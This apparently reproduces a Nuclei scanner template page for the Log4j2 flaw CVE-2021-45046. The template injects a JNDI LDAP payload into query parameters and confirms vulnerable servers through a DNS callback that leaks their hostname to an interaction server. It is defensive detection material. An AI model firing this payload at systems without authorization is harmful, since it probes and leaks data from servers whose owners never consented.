Apache Log4j2 - Remote Code Injection

ID: CVE-2021-45046-DAST

Severity: critical

Author: princechaddha

Tags: cve,cve2021,rce,oast,log4j,injection,dast

Description

Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.

YAML Source

id: CVE-2021-45046-DAST

info:
  name: Apache Log4j2 - Remote Code Injection
  author: princechaddha
  severity: critical
  description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
    - https://twitter.com/marcioalm/status/1471740771581652995
    - https://logging.apache.org/log4j/2.x/
    - http://www.openwall.com/lists/oss-security/2021/12/14/4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
  metadata:
    max-request: 1
    confidence: tenative
  tags: cve,cve2021,rce,oast,log4j,injection,dast

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      log4j:
        - "${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}}"

    fuzzing:
      - part: query
        fuzz:
          - "{{log4j}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

    extractors:
      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print injection point in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
# digest: 4b0a00483046022100ca8099b9b7303f2c34f8b7d2247e672dcdd92a64154deb9077154caea26f48500221009cd27f47753dc8386aee743ad51c6af60dbfad1a6cdf8c824e6cd21292b409f9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/cves/2021/CVE-2021-45046.yaml"

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